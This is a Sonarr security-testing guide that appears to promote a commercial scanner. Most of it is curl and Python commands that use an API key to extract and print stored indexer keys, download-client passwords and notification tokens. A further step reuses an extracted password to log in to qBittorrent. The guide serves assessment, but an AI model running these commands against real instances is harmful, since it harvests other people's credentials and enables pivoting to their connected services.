Sonarr Security Testing: API Key, Indexer Credentials, Downloader Integration, and Remote Access

Sonarr is the most widely deployed self-hosted TV series automation tool, forming the core of the *arr stack alongside Radarr, Lidarr, and Readarr. Its security profile extends beyond Sonarr itself because it stores credentials for every other service in the stack: Sonarr's API key in Settings > General provides full control over the instance including adding/removing series, triggering searches, and accessing all stored credentials; Sonarr stores API keys and passwords for all configured indexers (NZBGeek, NZBFinder, DrunkenSlug, Torznab, Newznab endpoints) in its SQLite database at sonarr.db; Sonarr stores full connection details for all download clients including SABnzbd, qBittorrent, Deluge, and Transmission including host, port, username, and password; and Sonarr's authentication defaults to forms-based login but many home lab deployments disable authentication for local network access, leaving the API and web UI open without credentials. This guide covers systematic Sonarr security assessment including the full *arr credential chain.

Table of Contents

  1. API Key Extraction and Full Instance Control
  2. Indexer Credential Extraction
  3. Download Client Credential Extraction
  4. Sonarr Security Hardening

API Key Extraction and Full Instance Control

# Sonarr API — single API key controls full instance
SONARR_URL="https://sonarr.example.com"
API_KEY="your-sonarr-api-key"

# Get Sonarr server configuration (includes version, URL base, authentication type)
curl -s "${SONARR_URL}/api/v3/config/host?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Authentication type: {d.get(\"authenticationMethod\")}')
print(f'API key: {d.get(\"apiKey\")}')
print(f'URL base: {d.get(\"urlBase\")}')
print(f'Bind address: {d.get(\"bindAddress\")}')
print(f'Port: {d.get(\"port\")}')
" 2>/dev/null

# List all TV series in the library
curl -s "${SONARR_URL}/api/v3/series?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
series = json.load(sys.stdin)
print(f'TV series: {len(series)}')
for s in series[:10]:
    print(f'  {s.get(\"title\")} path={s.get(\"path\")} monitored={s.get(\"monitored\")}')
" 2>/dev/null

# Get all configured notification connections (Discord webhooks, Slack, email, etc.)
curl -s "${SONARR_URL}/api/v3/notification?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
notifs = json.load(sys.stdin)
print(f'Notification agents: {len(notifs)}')
for n in notifs:
    print(f'  {n.get(\"name\")} type={n.get(\"implementationName\")}')
    for field in n.get('fields',[]):
        if any(k in field.get('name','').lower() for k in ['url','token','webhook','api']):
            print(f'    {field.get(\"name\")}: {field.get(\"value\")}')
" 2>/dev/null

Indexer Credential Extraction

# Sonarr indexers — stores API keys and credentials for all configured NZB/torrent indexers
SONARR_URL="https://sonarr.example.com"
API_KEY="your-sonarr-api-key"

# Get all configured indexers with their credentials
curl -s "${SONARR_URL}/api/v3/indexer?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
indexers = json.load(sys.stdin)
print(f'Configured indexers: {len(indexers)}')
for idx in indexers:
    print(f'  [{idx.get(\"id\")}] {idx.get(\"name\")} type={idx.get(\"implementationName\")}')
    for field in idx.get('fields',[]):
        fname = field.get('name','')
        fval = field.get('value','')
        if fname and fval:
            sensitive = ['apikey','apiKey','passkey','password','username','user','token']
            if any(s.lower() in fname.lower() for s in sensitive):
                print(f'    SENSITIVE {fname}: {fval}')
            elif fname == 'baseUrl':
                print(f'    baseUrl: {fval}')
" 2>/dev/null

# Get indexer schema to understand available fields
curl -s "${SONARR_URL}/api/v3/indexer/schema?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
schemas = json.load(sys.stdin)
print(f'Indexer types: {len(schemas)}')
for s in schemas:
    print(f'  {s.get(\"implementationName\")}')
" 2>/dev/null

Download Client Credential Extraction

# Sonarr download clients — stores full credentials for qBittorrent, SABnzbd, Deluge, etc.
SONARR_URL="https://sonarr.example.com"
API_KEY="your-sonarr-api-key"

# Get all configured download clients with credentials
curl -s "${SONARR_URL}/api/v3/downloadclient?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
clients = json.load(sys.stdin)
print(f'Download clients: {len(clients)}')
for c in clients:
    print(f'  [{c.get(\"id\")}] {c.get(\"name\")} type={c.get(\"implementationName\")}')
    for field in c.get('fields',[]):
        fname = field.get('name','')
        fval = field.get('value','')
        if fval and fname:
            # Extract host, port, username, password, API key
            important = ['host','port','username','password','apikey','urlbase','musicCategory','tvCategory']
            if any(k.lower() == fname.lower() for k in important):
                print(f'    {fname}: {fval}')
" 2>/dev/null

# With qBittorrent credentials from Sonarr, authenticate to qBittorrent directly
QB_HOST="qbittorrent-host"
QB_USER="qbittorrent-user"
QB_PASS="extracted-password"
curl -s -c /tmp/qb_cookies.txt \
  -X POST "http://${QB_HOST}:8080/api/v2/auth/login" \
  -d "username=${QB_USER}&password=${QB_PASS}" 2>/dev/null

Sonarr Security Hardening

Sonarr Security Hardening Checklist:
Security TestMethodRisk
API key gives full instance control including credential accessGET /api/v3/config/host?apikey=KEY — returns API key and config; GET /api/v3/indexer?apikey=KEY — returns all indexer credentials; GET /api/v3/downloadclient?apikey=KEY — returns all download client credentialsCritical
Indexer API key extraction (NZBGeek, NZBFinder, etc.)GET /api/v3/indexer — response includes fields array with apikey, passkey, username, and password for each configured indexer in plaintextHigh
Download client credential extraction (qBittorrent, SABnzbd)GET /api/v3/downloadclient — response includes host, port, username, and password for every configured download client enabling direct authentication to those servicesHigh
No authentication on API key parameterGET /api/v3/series?apikey=KEY — API accepts key as URL parameter; API key may appear in web server access logs, browser history, and proxy logs exposing it to secondary extractionMedium
Notification agent credential extractionGET /api/v3/notification — returns configured notification agents including Discord webhooks, Slack tokens, Pushover API keys, and email SMTP credentials stored for episode download notificationsMedium
SQLite database credential accessRead sonarr.db Config table — all credentials stored in cleartext; accessible if filesystem access to the data directory is obtained via another vulnerability (e.g. path traversal in another service)High

Automate Sonarr Security Testing

Ironimo tests Sonarr deployments for API key exposure giving full instance control, indexer credential extraction revealing NZBGeek/NZBFinder API keys and passwords, download client credential extraction exposing qBittorrent and SABnzbd username/password pairs, notification agent credential extraction, authentication bypass when authentication type is set to None, and database file access exposing all stored credentials.

Start free scan